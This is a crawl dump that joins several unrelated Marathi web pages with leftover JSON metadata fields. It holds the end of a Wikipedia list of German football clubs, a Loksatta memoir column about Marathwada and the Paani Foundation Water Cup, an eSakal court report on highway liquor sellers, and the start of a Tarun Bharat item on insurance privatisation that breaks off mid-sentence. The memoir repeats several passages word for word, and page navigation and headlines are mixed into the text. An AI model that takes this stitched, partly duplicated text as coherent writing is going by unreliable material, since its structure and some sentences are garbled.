श्टुटगार्ट • वेर्डर ब्रेमन • फाउ.एफ.एल. वोल्फ्सबुर्ग\nटे.एस.फाउ. १८६० म्युन्शेन • आलेमानिया आखन • आर्मिनिया बीलेफेल्ड • के.एफ.से. युर्डिंगन ०५ • फाउ.एफ.एल. बोखुम • बोरूस्सिया नेउनकर्शन • एस.फाउ. डार्मश्टाट ९८ • डायनॅमो ड्रेस्डेन • आइनट्राख्ट ब्राउनश्वाइग • एफ.से. एनर्जी कोटबस • एस.से. फोर्टुना क्योल्न • एफ.से. हान्सा रोस्टोक • हेर्था बे.एस.से. • एफ.से. ०८ होम्बुर्ग • १. एफ.से. काइझरस्लाउटर्न • कार्ल्सरुहेर एस.से. • किकर्स ऑफेनबाख • एम.एस.फाउ. डुइस्बुर्ग • १. एफ.सी. क्योल्न • १. एफ.से. लोकोमोटिव्ह लाइपझिश • एस.से. प्रेउसन म्युन्स्टर • रोट-वाईस एसेन • १. एफ.से. जारब्र्युकन • एफ.से. सेंट पॉली\nयेथे काय जोडले आहे\nया पानातील शेवटचा बदल ८ जानेवारी २०१४ रोजी १६:४० वाजता केला गेला.\nयेथील मजकूर हा क्रियेटीव्ह कॉमन्स अट्रीब्युशन/शेअर-अलाईक लायसन्स या अंतर्गत उपलब्ध आहेत;अतिरिक्त अटी लागू असू शकतात. अधिक माहितीसाठी हे बघा वापरण्याच्या अटी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00401.warc.wet.gz", "language": "mr", "language_score": 0.89, "bucket": "all"} {"url": "https://www.loksatta.com/lekha-news/water-resource-management-by-aamir-khan-water-fountain-1662957/", "date_download": "2018-09-25T17:11:08Z", "digest": "sha1:RQEX57GCO5SVWFKA2KRL76L577QVWVIP", "length": 37491, "nlines": 256, "source_domain": "www.loksatta.com", "title": "Water resource management by Aamir Khan Water Fountain | आजोळ | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nकविता कुणा टुकार मासिकात छापून आलीय. पोरं आग्रह करतात म्हणून तो लाजत ती म्हणतो..\nप्रसंग एक : भकास माळरानावर जी. एं.च्या कथेतली एक झोपडी. झोपडीपुढेच छोटं दुकान चालवणारा कोणी एक चोवीसबोट बाळू. एखादी मोटरसायकल वाकडी. अन् मोबाइल खेळवीत गुटख्याच्या पिचकाऱ्या उडवणारी चार-दोन तरुण पोरं. फरारा फुफाटा उडवत एष्टी येते. उमासा आल्यागत विचित्र आवाज करीत थांबते. एक पॅशेंजर उतरतो आणि पोरांत मिसळतो. हा कवी आहे. त्याची कविता कुणा टुकार मासिकात छापून आलीय. पोरं आग्रह करतात म्हणून तो लाजत ती म्हणतो..\nभागामागून भाग संपती, शिरीयलींचे बाई,\nफट्टं पांढरे वरी पसरले टिपूस गाळत नाही.\nहंडय़ामागून हंडे आणते वैनी,\nअनिकेत उरला कवितेपुरता त्या गावी\nअन् कसले कामच उरले नाही..’\n’ म्हणून कल्लोळ करतात.\nहोय. ‘देऊळ’ चित्रपटात होता हा प्रसंग.\nमला ‘तुफान आलंया’ या कार्यक्रमात सहभागी करून घेण्याचं मुख्य कारण बहुधा माझं मराठवाडय़ाशी असलेलं नातं हे होतं. नातं नक्की काय, याची नेमकी माहिती कोणालाच नव्हती. पण आहे, असा विश्वास होता. आणि त्यामुळे ‘मराठवाडा वीर’ म्हणून माझी वर्णी लागली होती. मी अन् प्रतीक्षा लोणकर अशी जोडी. ‘मेंटॉर’ असं नामाभिधान होतं आमचं. आणि आठवडय़ातून एकदा पुण्याहून गाडी हाणत मी गोरेगाव की कुठलं उपनगर गाठी शूटिंगसाठी.\nसत्यजीत, आमीर, डॉ. अविनाश पोळ भेटत. कामासंबंधीच्या घडत असलेल्या अनेक नवलकथा सांगत. एकदम तीनवरून तीस तालुक्यांत करायला घेतलेल्या कामाचं आकारमान त्यांनाही दडपण आणीत असे. तेराशे गावं होती स्पध्रेत. गावोगाव नव्या श्रमकथा जन्म घेत होत्या. अन् त्या सर्वाची समन्यायी वर्णी कार्यक्रमात लावताना ओढाताण होत होती.\nगुरुवारी दिवसभर शूटिंग करून रात्रभर सत्यजीत ते संकलित करत असे. शुक्रवारी ते वाहिन्यांकडे जाई. अन् शनिवार-रविवार मराठीमधल्या सर्व वाहिन्या ‘तुफान आलंया’ हा कार्यक्रम सादर करीत. पाहिला असेल तुम्ही.\nतर बरं का, त्यात आम्ही अभिनिवेशानं भांडायचो एकमेकांशी. म्हणजे भारत गणेशपुरे विदर्भाचे गोडवे गायचा अन् मी ‘मराठवाडा किती भारी’ म्हणायचो. मला वाटायचं.. खरंच, काय नातं आहे माझं या प्रदेशाशी’ म्हणायचो. मला वाटायचं.. खरंच, काय नातं आहे माझं या प्रदेशाशी किंबहुना, असलेलं न सांगण्याकडेच कल. उगाच मागास वगरे ठरलो तर.. किंबहुना, असलेलं न सांगण्याकडेच कल. उगाच मागास वगरे ठरलो तर.. काय माहिती आहे मला मराठवाडय़ाबद्दल काय माहिती आहे मला मराठवाडय़ाबद्दल खरी गोष्ट अशी की- माझं आजोळ अंबाजोगाईचं. कोकणस्थांची देवी आहे तिथे.. योगेश्वरी खरी गोष्ट अशी की- माझं आजोळ अंबाजोगाईचं. कोकणस्थांची देवी आहे तिथे.. योगेश्वरी तर ती म्हणे मूळची कोकणातली. वैजनाथाशी विवाह जमल्याने ती कोकणातून अंबाजोगाईस आली. परळीहून वैजनाथ आले. कोंबडा आरवण्याआधी विवाह होण्याची ऋषींची अट पाळली न गेल्यानं ही कोकण-मराठवाडा सोयरीक जमली नाही. वैजनाथ भुयारातून निघून गेले म्हणे.. अशी आख्यायिका आहे. मराठीतले आद्यकवी मुकुंदराज स्वामींची घोडदरीत समाधी आहे. मूळचे विदर्भातले कविराय प्रवास करीत इकडे आले. दरीत घोडा उधळल्यानं त्यांचा अंत झाला. मुख्य म्हणजे माझ्या मामाचं ते गाव. पाच मामा असणारं माझं देशपांडे गल्लीत आजोळ आहे. आठवणीत घट्ट रुतलेल्या लहानपणीच्या उन्हाळी सुट्टय़ा आहेत. अन् आता तिथे पाणी फाऊंडेशनचं प्रशिक्षण केंद्र आहे. मराठवाडय़ाशी माझं नातं हे असं. पण ना कधी मुकुंदराजांचा ‘विवेकसिंधू’ वाचला, ना कधी बालपण सरता तिकडे फिरकलो. अन् मी मराठवाडय़ाचा प्रतिनिधी तर ती म्हणे मूळची कोकणातली. वैजनाथाशी विवाह जमल्याने ती कोकणातून अंबाजोगाईस आली. परळीहून वैजनाथ आले. कोंबडा आरवण्याआधी विवाह होण्याची ऋषींची अट पाळली न गेल्यानं ही कोकण-मराठवाडा सोयरीक जमली नाही. वैजनाथ भुयारातून निघून गेले म्हणे.. अशी आख्यायिका आहे. मराठीतले आद्यकवी मुकुंदराज स्वामींची घोडदरीत समाधी आहे. मूळचे विदर्भातले कविराय प्रवास करीत इकडे आले. दरीत घोडा उधळल्यानं त्यांचा अंत झाला. मुख्य म्हणजे माझ्या मामाचं ते गाव. पाच मामा असणारं माझं देशपांडे गल्लीत आजोळ आहे. आठवणीत घट्ट रुतलेल्या लहानपणीच्या उन्हाळी सुट्टय़ा आहेत. अन् आता तिथे पाणी फाऊंडेशनचं प्रशिक्षण केंद्र आहे. मराठवाडय़ाशी माझं नातं हे असं. पण ना कधी मुकुंदराजांचा ‘विवेकसिंधू’ वाचला, ना कधी बालपण सरता तिकडे फिरकलो. अन् मी मराठवाडय़ाचा प्रतिनिधी पण टीव्हीवर चालतं. किंबहुना, टीव्हीवर कपोलकल्पित किंवा असत्यच जास्त चालतं.\nअशात ‘सत्यमेव जयते’सारख्या कार्यक्रमातून सत्य दाखविण्याचा अत्यंत अभिनव प्रयोग करणारे सत्यजीत आणि आमीर यावेळीही ‘तुफान आलंया’मधून सत्यच मांडत होते. गावोगावी घडणाऱ्या कहाण्या जशाच्या तशा दाखवीत एकीकडे शहरी माणसांना वास्तवाची धग देऊन जाग आणत होते, तर दुसरीकडे गावकऱ्यांच्या कर्तृत्वाला सलाम करीत होते.\nमाणसांना गोष्ट आवडते. सांगायला. ऐकायला. पाहायला. अन् माझ्यागत काहींना अनुभवायलाही. कार्यक्रमात दाखवल्या जाणाऱ्या गोष्टी अशाच होत्या. प्रत्यक्ष अनुभवण्याच्या मी मराठवाडय़ात फिरण्याचा हट्ट केला. किंबहुना, पहिल्या-दुसऱ्या भेटीतच ‘असे कसे मेंटॉर मी मराठवाडय़ात फिरण्याचा हट्ट केला. किंबहुना, पहिल्या-दुसऱ्या भेटीतच ‘असे कसे मेंटॉर प्रत्यक्ष कामातही सहभागी होऊ द्या ना प्रत्यक्ष कामातही सहभागी होऊ द्या ना’ असं आम्ही सगळेच म्हणालो होतो. जितू, भारत थोडं फिरूनही आले. भरभरून बोलायचे त्यांच्या अनुभवांबद्दल. भारतच्या विदर्भप्रेमाला खऱ्या कळकळीची धार चढू लागली नं राजेहो. मंग त्याले उत्तर द्यायचं तर आजोळी जावंच लागते. मी निश्चय केला.\nएका परीनं हे त्या कार्यक्रमाचंही यश होतं. आम्ही टेलिव्हिजन आणि टेलिफोन गावागावांत नेला. अन् काय केला उपयोग त्याचा चालती, फिरती, राबती माणसं कैद करून बसवून ठेवली. कधी शहरी सुखोपभोगाची मोहमयी चित्रं दाखवीत अन् बादलीत चेंडू टाकायला लावीत साडय़ा वाटीत मायमाऊलींची स्वप्नं खुरटवली. ‘तुफान आलंया’ नावाच्या कार्यक्रमातून माणसांना कृतिशील करण्याचा प्रयत्न होता. नाय तर शिरीयलींचे भागामागून भाग पाहत वैनी हंडय़ामागून हंडे आन्तेचे आपली कवाची.\nप्रसंग दोन : स्थळ : कळंब, जि. उस्मानाबाद.\nकाकू : तर बरं का, आम्ही सगळ्या पोरीच. एखाद् दुसरी मोठ्ठी बाई. आणि आमच्या दादानं आम्हाला कामं सांगायची अन् आम्ही ती करायची. कामं म्हणजे काय तर बॉम्ब इकडून तिकडे नेऊन द्यायचे, पत्रकं वाटायची.. असली कामं. सगळं छुपेपणानी. एकदा तर आम्ही पोरींनी घोडय़ावर जाऊन बँकच लुटली होती.\nकाकू : अरे, होय तर तुला कहाणी सांगितली तर काढ मग सिनेमा त्याच्यावर.\nगुढीपाडव्याचा दिवस. पुरणपोळीवर तूप आणि ताव मारीत खिदळत चाललेल्या या गप्पा.\nकाकूच म्हणायचे सगळे त्यांना. ‘शकुंतला प्रभाकर देशपांडे- मांडवेकर’ असं त्यांचं खरं नाव. पण त्या सगळ्यांच्या ‘काकू’च कपाळी मोठ्ठं कुंकू अन् चेहऱ्यावर एक अतिप्रसन्न हसू. तरुणपणी हैदराबादच्या मुक्तिसंग्रामात घोडा फेकत बँक लुटणारी ही प्रेमळ आज्जी सहजपणानं मला चकित करणाऱ्या कथा सांगत होती. मी थक्क होऊन ऐकत होतो.\n‘‘तेव्हा टीव्ही नव्हता काकू..’’ मी हसत म्हणालो, ‘‘म्हणून जमलं.’’\nकाकू हसल्या मोठय़ानं. ‘‘तर काय रे..’’ म्हणत.\nबाहेर ऊन कडकून तापलेलं असतानाही काकूंच्या जिव्हाळ्याचा, मायेचा गारवा सर्वत्र भरून राहिलेला.\n‘‘तर बरं का, काळोखात आसं एक भिताड होतं. तिथं घोडी नेली. घोडीवर चढून भिताडापलीकडं दोन-चार जणींनी उडय़ा मारल्या. आत दोन शिपुर्डी होती. त्यांच्या हेऽऽऽ मुसक्या आवळल्या न् दरवाजा तोडून सगळा पसाअडका घ्यून घोडय़ावर बसून पसाऽऽऽर.’’ काकूंच्या चेहऱ्यावर खटय़ाळ हसू.\nमला खरंच वाटेना. अशा पोरी मराठवाडय़ात होत्या न मग कुठे गेल्या\nदरम्यान माझा दौरा ठरला. इरफानबद्दल जितूकडून, सत्याकडून ऐकलं होतं बरंच. तोच माझा मार्गदर्शक असणार होता. लातूरपासून सुरुवात करायची होती. मग आमचा कॉलेजातला एक उद्योजक मित्र चेतन म्हणाला, मी येतो. आनंद पंडितही म्हणाला येतो. निघालो रात्री चेतनच्या गाडीतून. टेंभुर्णी ओलांडली तसा रस्ता बदलला. पश्चिम महाराष्ट्राची गुळगुळीत चकाकी मागे पडून खाचखळग्यांनी आणि बाभळींनी सोबत धरली. चांदण्यातही उजाड माळ रखरखी टिकवून होता. दख्खनी विस्तीर्ण पठार कापीत पळणारा रस्ता सोबत जुने जिवलग अन् आठवणींच्या लडी उलगडणारी रात्र. आजोळी निघालो होतो. मनात अपार उत्सुकता अन् हुरहुर. अनेक प्रश्नही.\nमराठवाडय़ात पाण्याचा प्रश्न बिकट झालाय हे सत्य एव्हाना चव्हाटय़ावर आलंच होतं. माझ्या आठवणीतल्या मराठवाडय़ात पाणी होतं. अर्थात चाहुल लागायला सुरुवात झालीच होती. असं कशानं झालं असावं येडशीला चहा पीत आम्ही बोलत होतो. आनंद पुण्याचाच. चेतन मात्र लातूरकडला. आता पुण्यात स्थायिक. माझ्या लातूरच्या कॉलेजातले बरेच मराठवाडी मित्र आता पुण्यातच असतात. जवळजवळ सगळे यशस्वी उद्योजक वा उच्चाधिकारी अभियंते आहेत. बहुतेकांच्या कहाण्या कष्टार्जित यशाच्या आहेत. बऱ्याचजणांची पाश्र्वभूमी शेतीची. अतुल कुलकर्णीला तर मी ‘कृषिवला’ अशीच हाक मारत असे. अन् माझं ते पुणेरी उच्चारण ऐकून ‘‘लईच गुळमट बोलतंय लेका हे..’’ असं म्हणत पोरं कौतुकानं हसत. तर त्याचे बाबा सायकल मारत माळेगाव नावाच्या गावाहून शेतातला वानवळा घेऊन पोरांचं क्षेम विचारायला येत. त्यांनी आणलेल्या खोबरी आंब्यावर मी डोळा ठेवून असे. आता अतल्या पुण्यात यशस्वी कारखानदार आहे. खोबरी आंबे इथंही मिळत होते त्याला काही वर्षांपर्यंत. असो.\n कसं जमावं मग तसं’’ चेतननं उत्तर दिलं.\n‘‘तेच की. पण पाणी का नाही\n‘‘पाऊस नाही.. जमिनीतलं उपसु उपसु काढलं. येनार कुठून पानी\nचेत्याचे ‘न’ गोड लागतात कानाला. पुण्यात येऊनही भाषेतला ‘न’ त्यानं जपलाय. तीच एक गावाकडची खूण.\n‘‘गोदेच्या कुशीतला हा प्रदेश. तिचा आवाका गंगेसमान. म्हणून तीस ‘दक्षिण गंगा’ म्हणण्याचा प्रघात. तर अशा गोदेची माया आटली. तिच्या बांधबंदिस्तीनं जिल्ह्य-जिल्ह्यंत भांडणं मात्र लावलीत. पाण्यावरून भांडणाचा काळ आला. अहो, गावा-गावांत वाद पेटलेत.’’\n‘‘टेम्परेचर यंदा बेचाळीसच्या वराय म्हणतात.’’ आनंदनं भाग घेत म्हटलं.\n‘‘तुला सांगतो, हे जर पाणी तुम्ही लोकांनी आणलं ना- फार बरं होईल यार..’’ त्याच्या स्वरात विनंतीवजा अपेक्षा होती. मला उगाच फार जबाबदार वाटलं. क्षणभर. पण ते गाडीखालच्या कुत्र्यास वाटावं तसंच आहे हे जाणवून मी म्हटलं, ‘‘मी मदत करतोय रे. बास.’’\n‘‘आम्ही निमित्तमात्र आहोत. गावकरी स्वत:च स्वत:साठी काम करताहेत.’’ सत्यजित, आमीर अन् डॉक्टर सतत सांगताना ऐकलं होतं.\n म्हणजे काही ठिकाणी असतात उत्साही गट. पण संपूर्ण गावंच्या गावं येतील श्रमदान करायला बरं, आमिषही नाही कसलं. पाणी फाऊंडेशन ना पसे देणार, ना घेणार. ज्ञान द्यायचं आणि श्रम मागायचे असा हा व्यवहार. मग आपापली कुदळ-फावडी घेऊन राबतील का मंडळी दीड महिना\nआता कुठे या कामातल्या संघर्षांची जाणीव होऊ लागली. अनेक शंका मनात येऊ लागल्या. ‘देऊळ’मधला तो प्रसंग उद्या परत पाहायला मिळेल की काय अशीही भीती वाटून गेली. पण मग आमीर, सत्यजीतनं पहिल्या वर्षीच्या यशस्वी काम करणाऱ्या गावांच्या सांगितलेल्या कथा आठवल्या. त्यांचा शांत आत्मविश्वास आठवला. सत्यजीतनं गावोगावी जाऊन लोकांना एकत्र करून स्पध्रेत भाग घ्यायला प्रेरित केलं होतं. त्यांच्या एकेक अडचणी सोडवत गावांचे कायापालट घडवून आणले होते. स्पर्धा पार पडल्यानंतर परत गावागावात जाऊन ‘तुमचा अनुभव कसा होता आमचं काही चुकलं असं वाटलं का आमचं काही चुकलं असं वाटलं का’ असा एक पडताळाही घेतला होता. अनुभवांतीची अनुमानं अभ्यास करून काढलेली होती. ध्यानी आलेल्या चुका टाळून यावर्षीची आखणी केली होती.\nविश्वास ठेवूनच तर आलो होतो मग तो डळमळीत करण्याचं ‘भय’ हे कारण योग्य नव्हतं. नव्हे, अशा कुठल्याच कामाचा अनुभव हाती नसताना अविश्वास दाखवण्याचा मला मुळी अधिकारच नव्हता.\nशांत उत्तररात्री शहरात प्रवेश केला. मुक्कामी इरफान वाट पाहत थांबला होता. लहानखुऱ्या चणीचा इरफान सगळ्यांना का आवडतो, हे कोडं लगेचच उलगडलं. चेहऱ्यावर प्रसन्न हसू. डोळ्यांत तोच काकूंसारखा ‘होती दोन शिपुर्डी. बांधल्या हेऽऽऽ मुसक्या’ भाव. धाडसानं हाती घेतलेल्या कामातलं आव्हान कठीण आहे, हे कळूनही त्याच्या प्रसन्नतेला थकवा आला नव्हता. स्पर्धा संपत आली होती. गेला महिनाभर हा गडी माळामाळानं फिरत माणसं गोळा करीत होता. रात्रीचा दिवस करीत त्यांना उत्साह देत होता. ‘पान-टपऱ्यांचं गाव’ असा बहुमान मिळावा इतक्या पान-टपऱ्या या गावी. एरवी त्यांना लखडून असलेली तरुण पोरं इरफानबरोबर कामाची नशा चढल्यागत राबत होती. इतक्या रात्री तरुणांचं ते टोळकं उद्याच्या श्रमदानाच्या नियोजनाच्या चच्रेत रमलं होतं. प्रत्यक्ष पाहत होतो म्हणूनच खरं म्हणावं अशीच ही गोष्ट.\nतो वर्णन करत असलेलं काम पाहायला मी उत्सुक होतो.\nइरफाननं दुसऱ्या दिवशीचा प्रवास अन् कामाचं नियोजन सांगितलं. तोच शांत आत्मविश्वास अन् ओठी खटय़ाळ हसू. मला म्हणाला, ‘‘ झोपा आता. उद्या खड्डे खोदायचेत. कुदळ येती का हानता\nमी म्हटलं, ‘‘अहो, येणारी कामं कुणीही करील. न येणारं करण्यात तर मौज आहे. अडलं तर तू आहेसच की\nसत्या, डॉक्टर, इरफान.. तीन दिशांना राहणारी, एकमेकांहून खूप वेगळी माणसं ‘वॉटर कप’ स्पध्रेनं एकत्र आणली होती. आख्यायिकेत न जुळलेली सोयरीक जुळवीत होती. जलसंधारणाच्या कामातून मनं सांधण्याचा डाव साधत होती. पाणी तर आणूच आणू; पण माणसांची मनंही जोडून दाखवू, हेच तर सांगत होती ती.\nवेरूळ पाहताना ‘अनेक पिढय़ांनी घडवलेली कलाकृती’ असा उल्लेख ऐकला होता. ज्या मराठवाडय़ात हे घडलं, तिथंच हजारो हात एकत्र येऊन उभं करीत असलेलं श्रमशिल्प पाहायला मी आतुर झालो.\nसुधीर मोघे या कलंदर कवीच्या या ओळी आहेत..\n‘वैराण माळ उघडा बेचन तळमळे\nमी दान आसवांचे फेकीत चाललो..’\nमाझ्या आजोळच्या उबदार कुशीत शिरतानाचा कोंबडा आरवण्यापूर्वीचा हा शेवटचा विचार\nकोणत्या कामासाठी किती गुण\n‘वॉटर कप’ या उपक्रमामध्ये सहभागी झालेल्या गावांना त्यांनी दिलेल्या योगदानानुसार मूल्यमापन करून १०० पैकी गुण दिले जातात. या गुणांची विभागणी पुढीलप्रमाणे केली जाते. शोषखड्डय़ांसाठी ५ गुण, नर्सरी/ रोपवाटिकेसाठी ५ गुण, श्रमदान/ मनुष्यबळाचा वापर करून बांधलेले बंधारे आणि जलसंधारण रचना यासाठी २० गुण, यंत्राचा वापर करून बांधलेले बंधारे आणि जलसंधारण रचना यासाठी २० गुण, एरिया ट्रीटमेंट आणि रिज (माथा) उपचारांवर योग्य भर यासाठी १० गुण, रचनांची/ कामांची गुणवत्ता यासाठी १० गुण, मूलस्थानी/ ‘इन सिटू’ मृदा-उपचार यासाठी १० गुण, पाणीबचत तंत्रज्ञानासाठी ५ गुण, वॉटर बजेटसाठी ५ गुण, अगोदरच अस्तित्वात असणाऱ्या रचनांची दुरुस्ती/ विहीर पुनर्भरण/ नावीन्यपूर्ण उपक्रम यासाठी १० गुण देण्यात येणार आहेत.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00401.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/desh/dhule-news-marathi-news-maharashtra-news-dhule-breaking-news-alcohol-sales-court-order-49082", "date_download": "2018-09-25T17:49:32Z", "digest": "sha1:JMT4R4FDIDU5IOF5J5UD33XPDVFCGCQF", "length": 12829, "nlines": 172, "source_domain": "www.esakal.com", "title": "dhule news marathi news maharashtra news dhule breaking news alcohol sales court order 'त्या' अडीचशे मद्यविक्रेत्यांची नेमकी स्थिती सादर करा | eSakal", "raw_content": "\n'त्या' अडीचशे मद्यविक्रेत्यांची नेमकी स्थिती सादर करा\nबुधवार, 31 मे 2017\nसर्वोच्च न्यायालयाने विविध निकषांच्या आधारे महामार्गांवर मद्य विक्रीस बंदीचा आदेश दिला आहे. त्याची सर्वत्र अंमलबजावणी सुरू आहे. मात्र हा आदेश लागू होत नसल्याचा दावा करत धुळे, जळगावसह मुंबई उच्च न्यायालयाच्या औरंगाबाद खंडपीठाच्या कार्यक्षेत्रातील ठिकठिकाणच्या 250 मद्यविक्रेत्यांनी खंडपीठात याचिका दाखल केली.\nधुळे - सर्वोच्च न्यायालयाने विविध निकषांच्या आधारे महामार्गांवर मद्य विक्रीस बंदीचा आदेश दिला आहे. त्याची सर्वत्र अंमलबजावणी सुरू आहे. मात्र हा आदेश लागू होत नसल्याचा दावा करत धुळे, जळगावसह मुंबई उच्च न्यायालयाच्या औरंगाबाद खंडपीठाच्या कार्यक्षेत्रातील ठिकठिकाणच्या 250 मद्यविक्रेत्यांनी खंडपीठात याचिका दाखल केली. त्यावर या विक्रेत्यांची नेमकी स्थिती सादर करण्याचा आदेश खंडपीठाने दिला.\nसरकार पक्षातर्फे सहाय्यक सरकारी वकील एम. एम. नेर्लिकर, ऍड. प्रवीण पाटील, ऍड. गुजराथी, ऍड. बागूल आदी कामकाज पाहत आहेत. ऍड. नेर्लिकर यांनी सांगितले, की सर्वोच्च न्यायालयाने मद्य विक्री बंदबाबत दिलेला आदेश आम्हास लागू होत नाही, असा दावा खंडपीठाच्या कार्यक्षेत्रातील ठिकठिकाणच्या 250 मद्यविक्रेत्यांनी याचिकेद्वारे केला आहे. आमची दुकाने राष्ट्रीय किंवा राज्य महामार्गावर येत नाहीत, असा दावा संबंधितांकडून होत आहे. या पार्श्‍वभूमीवर खंडपीठाने मंगळवारी कामकाजानंतर त्या- त्या ठिकाणचे जिल्हाधिकारी, उत्पादन शुल्क विभागाच्या अधिकाऱ्यांसह अन्य प्रतिवादींना नोटीस बजावत 9 जूनला सुनावणी ठेवली आहे. संबंधित याचिकाकर्त्यांची दुकाने राष्ट्रीय, राज्य महामार्गावर येतात किंवा नाहीत, सर्वोच्च न्यायालयाच्या निकालासह निर्देशात संबंधित याचिकाकर्त्यांची दुकाने समाविष्ट होतात किंवा नाही, याची तपासणी करून नेमकी स्थिती सादर करावी, असा आदेश खंडपीठाने संबंधित क्षेत्रातील जिल्हाधिकारी आणि अन्य प्रतिवादी अधिकाऱ्यांना दिला आहे.\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nवीरप्पनच्या 9 साथीदारांची मुक्तता\nइरोड (तमिळनाडू)- दिवंगत कन्नड सुपरस्टार राजकुमार यांचे अपहरण केलेला चंदन तस्कर वीरप्पन याच्या नऊ साथीदारांची न्यायाधीशांनी सबळ पुराव्याअभावी मंगळवारी...\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nपक्षीमित्रांनी दिले सातभाई पक्षाला जीवदान\nनिजामपूर-जैताणे (धुळे) : माळमाथा परिसरातील लोणखेडे (ता.साक्री) येथील जिल्हा परिषद शाळेचे प्राथमिक शिक्षक, पक्षीमित्र राकेश जाधव, गोकुळ पाटील व कढरे (...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00402.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/443500", "date_download": "2018-09-25T17:15:43Z", "digest": "sha1:BO3OZ7ISR73DKZVRGUKYAFVGF3YH36R4", "length": 6967, "nlines": 41, "source_domain": "www.tarunbharat.com", "title": "विमा कंपन्यांचे खासगीकरण ? - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » उद्योग » विमा कंपन्यांचे खासगीकरण \n: लवकरच सरकारच्या मालकीची जनरल इन्शुरन्स कंपनी शेअरबाजारात उतरण्याच्यादृष्टीने पावले टाकण्याची चिन्हे आहेत. सूत्रांनी दिलेल्या माहितीनुसार या प्रक्रियेच्या मसुद्यावर केंद्रातर्फे महिनाअखेरपर्यंत शेवटचा हात फिरवण्यात येईल. विमा व्यवसायातली सध्या एकच संस्था आयसीआयसीआय प्रुडेन्शियल लाईफ इन्शुरन्स नामावलीत आहे. न्यू इंडिया ऍशुरन्स, युनायटेड इंडिया इन्शुरन्स, ओरिएंटल इन्शुरन्स आणि नॅशनल इन्शुरन्स या विमा संस्था सार्वजनिक क्षेत्रात कार्यरत आहेत. राष्ट्र पुनर्विमा समूहदेखील खासगी क्षेत्रामध्ये आणण्याबाबतचा विचारविनिमय सुरू आहे.या विमा संस्थांना खासगी क्षेत्रामध्ये उतरविण्यासाठी करावी लागणारी तयारी आणि त्याआधी संस्थांच्या वार्षिक आर्थिक ताळेबंदांच्या आकडय़ात करावी लागणारी सुधारणा यावर आता भर देण्यात येत असल्याचे अधिकाऱयांमार्फत सांगण्यात आले. 2017 च्या आर्थिक वर्षाअखेरपर्यंत एक-दोन संस्थांना नामावली यादीत आणण्याचे आमचे प्रयत्न असतील, असेही सांगण्यात आले.\n2015-16 च्या अर्थसंकल्पावेळी खासगीकरणाची ही योजना सरकारच्या विचाराधीन आहे. याचे सूतोवाच करण्यात अले होते. इन्शुरन्स रेग्युलेटरी अँड डेव्हलपमेंट ऑथॉरिटी ऑफ 